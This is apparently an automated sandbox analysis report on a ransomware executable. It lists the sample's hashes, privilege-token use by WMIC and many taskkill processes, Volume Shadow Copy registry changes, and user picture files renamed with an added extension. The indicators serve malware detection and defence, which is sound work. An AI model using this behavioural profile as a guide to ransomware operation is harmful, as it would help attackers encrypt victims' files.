Analysis
-
max time kernel
146s -
max time network
85s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
24-07-2020 12:53
Static task
static1
Behavioral task
behavioral1
Sample
f4009abe9f41da41e48340c96e29d62c.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
f4009abe9f41da41e48340c96e29d62c.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
f4009abe9f41da41e48340c96e29d62c.exe
-
Size
43KB
-
MD5
f4009abe9f41da41e48340c96e29d62c
-
SHA1
01636cd2ab7eada533ded51728acd8cd99020c57
-
SHA256
6db3aae21a6d80857c85f58c4c8b2cf9c6b7f8b8a9ab1d5496d18eaf9bd0bd01
-
SHA512
4bdd711818c29c01dd532c13c23155ee0450a7f1f3ad7d92c45952f59b8ee947ab5876688e8971dfd094f7f494003106e9ad9b470cf99bccbd53f545900c9a15
Score
10/10
Malware Config
Signatures
-
Suspicious use of AdjustPrivilegeToken 127 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1628 WMIC.exe Token: SeSecurityPrivilege 1628 WMIC.exe Token: SeTakeOwnershipPrivilege 1628 WMIC.exe Token: SeLoadDriverPrivilege 1628 WMIC.exe Token: SeSystemProfilePrivilege 1628 WMIC.exe Token: SeSystemtimePrivilege 1628 WMIC.exe Token: SeProfSingleProcessPrivilege 1628 WMIC.exe Token: SeIncBasePriorityPrivilege 1628 WMIC.exe Token: SeCreatePagefilePrivilege 1628 WMIC.exe Token: SeBackupPrivilege 1628 WMIC.exe Token: SeRestorePrivilege 1628 WMIC.exe Token: SeShutdownPrivilege 1628 WMIC.exe Token: SeDebugPrivilege 1628 WMIC.exe Token: SeSystemEnvironmentPrivilege 1628 WMIC.exe Token: SeRemoteShutdownPrivilege 1628 WMIC.exe Token: SeUndockPrivilege 1628 WMIC.exe Token: SeManageVolumePrivilege 1628 WMIC.exe Token: 33 1628 WMIC.exe Token: 34 1628 WMIC.exe Token: 35 1628 WMIC.exe Token: SeIncreaseQuotaPrivilege 1628 WMIC.exe Token: SeSecurityPrivilege 1628 WMIC.exe Token: SeTakeOwnershipPrivilege 1628 WMIC.exe Token: SeLoadDriverPrivilege 1628 WMIC.exe Token: SeSystemProfilePrivilege 1628 WMIC.exe Token: SeSystemtimePrivilege 1628 WMIC.exe Token: SeProfSingleProcessPrivilege 1628 WMIC.exe Token: SeIncBasePriorityPrivilege 1628 WMIC.exe Token: SeCreatePagefilePrivilege 1628 WMIC.exe Token: SeBackupPrivilege 1628 WMIC.exe Token: SeRestorePrivilege 1628 WMIC.exe Token: SeShutdownPrivilege 1628 WMIC.exe Token: SeDebugPrivilege 1628 WMIC.exe Token: SeSystemEnvironmentPrivilege 1628 WMIC.exe Token: SeRemoteShutdownPrivilege 1628 WMIC.exe Token: SeUndockPrivilege 1628 WMIC.exe Token: SeManageVolumePrivilege 1628 WMIC.exe Token: 33 1628 WMIC.exe Token: 34 1628 WMIC.exe Token: 35 1628 WMIC.exe Token: SeBackupPrivilege 1772 vssvc.exe Token: SeRestorePrivilege 1772 vssvc.exe Token: SeAuditPrivilege 1772 vssvc.exe Token: SeDebugPrivilege 1376 taskkill.exe Token: SeDebugPrivilege 1556 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 2012 taskkill.exe Token: SeDebugPrivilege 1400 taskkill.exe Token: SeDebugPrivilege 788 taskkill.exe Token: SeDebugPrivilege 836 taskkill.exe Token: SeDebugPrivilege 1852 taskkill.exe Token: SeDebugPrivilege 1912 taskkill.exe Token: SeDebugPrivilege 1808 taskkill.exe Token: SeDebugPrivilege 772 taskkill.exe Token: SeDebugPrivilege 1952 taskkill.exe Token: SeDebugPrivilege 2000 taskkill.exe Token: SeDebugPrivilege 1272 taskkill.exe Token: SeDebugPrivilege 1000 taskkill.exe Token: SeDebugPrivilege 800 taskkill.exe Token: SeDebugPrivilege 1108 taskkill.exe Token: SeDebugPrivilege 1888 taskkill.exe Token: SeDebugPrivilege 760 taskkill.exe Token: SeDebugPrivilege 564 taskkill.exe Token: SeDebugPrivilege 1368 taskkill.exe Token: SeDebugPrivilege 1616 taskkill.exe Token: SeDebugPrivilege 1988 taskkill.exe Token: SeDebugPrivilege 2032 taskkill.exe Token: SeDebugPrivilege 1512 taskkill.exe Token: SeDebugPrivilege 1496 taskkill.exe Token: SeDebugPrivilege 1044 taskkill.exe Token: SeDebugPrivilege 1808 taskkill.exe Token: SeDebugPrivilege 772 taskkill.exe Token: SeDebugPrivilege 1952 taskkill.exe Token: SeDebugPrivilege 2000 taskkill.exe Token: SeDebugPrivilege 2040 taskkill.exe Token: SeDebugPrivilege 1000 taskkill.exe Token: SeDebugPrivilege 1060 taskkill.exe Token: SeDebugPrivilege 1232 taskkill.exe Token: SeDebugPrivilege 1888 taskkill.exe Token: SeDebugPrivilege 760 taskkill.exe Token: SeDebugPrivilege 1364 taskkill.exe Token: SeDebugPrivilege 876 taskkill.exe Token: SeDebugPrivilege 1632 taskkill.exe Token: SeDebugPrivilege 2020 taskkill.exe Token: SeDebugPrivilege 1980 taskkill.exe Token: SeDebugPrivilege 1568 taskkill.exe Token: SeDebugPrivilege 1500 taskkill.exe Token: SeDebugPrivilege 1892 taskkill.exe Token: SeDebugPrivilege 1872 taskkill.exe Token: SeDebugPrivilege 1824 taskkill.exe Token: SeDebugPrivilege 580 taskkill.exe Token: SeDebugPrivilege 340 taskkill.exe Token: SeDebugPrivilege 1580 taskkill.exe Token: SeDebugPrivilege 1956 taskkill.exe Token: SeDebugPrivilege 2024 taskkill.exe Token: SeDebugPrivilege 1432 taskkill.exe Token: SeDebugPrivilege 788 taskkill.exe Token: SeDebugPrivilege 1052 taskkill.exe Token: SeDebugPrivilege 1832 taskkill.exe Token: SeDebugPrivilege 1868 taskkill.exe Token: SeDebugPrivilege 1352 taskkill.exe Token: SeDebugPrivilege 1524 taskkill.exe Token: SeDebugPrivilege 1552 taskkill.exe Token: SeDebugPrivilege 1984 taskkill.exe Token: SeDebugPrivilege 2016 taskkill.exe Token: SeDebugPrivilege 1344 taskkill.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 1056 taskkill.exe Token: SeDebugPrivilege 572 taskkill.exe Token: SeDebugPrivilege 1904 taskkill.exe Token: SeDebugPrivilege 520 taskkill.exe Token: SeDebugPrivilege 772 taskkill.exe Token: SeDebugPrivilege 1652 taskkill.exe Token: SeDebugPrivilege 1944 taskkill.exe Token: SeDebugPrivilege 2012 taskkill.exe Token: SeDebugPrivilege 1492 taskkill.exe Token: SeDebugPrivilege 1604 taskkill.exe Token: SeDebugPrivilege 744 taskkill.exe Token: SeDebugPrivilege 1036 taskkill.exe Token: SeDebugPrivilege 1852 taskkill.exe Token: SeDebugPrivilege 1820 taskkill.exe Token: SeDebugPrivilege 876 taskkill.exe Token: SeDebugPrivilege 660 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 1320 taskkill.exe Token: SeDebugPrivilege 1400 taskkill.exe Token: SeDebugPrivilege 1060 taskkill.exe -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\DenyApprove.png => C:\Users\Admin\Pictures\DenyApprove.png.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\UninstallConnect.tif => C:\Users\Admin\Pictures\UninstallConnect.tif.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\UseRedo.tif.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\CompleteRedo.png.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\CompressNew.raw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\DenyApprove.png.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\CompleteRedo.png => C:\Users\Admin\Pictures\CompleteRedo.png.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\SetResize.raw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\UninstallConnect.tif.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\UseRedo.tif => C:\Users\Admin\Pictures\UseRedo.tif.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\CompressNew.raw => C:\Users\Admin\Pictures\CompressNew.raw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\InstallUnblock.crw => C:\Users\Admin\Pictures\InstallUnblock.crw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\Pictures\InstallUnblock.crw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe File renamed C:\Users\Admin\Pictures\SetResize.raw => C:\Users\Admin\Pictures\SetResize.raw.cFTjfU f4009abe9f41da41e48340c96e29d62c.exe -
Suspicious behavior: EnumeratesProcesses 376 IoCs
pid Process 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe 844 f4009abe9f41da41e48340c96e29d62c.exe -
NTFS ADS 5 IoCs
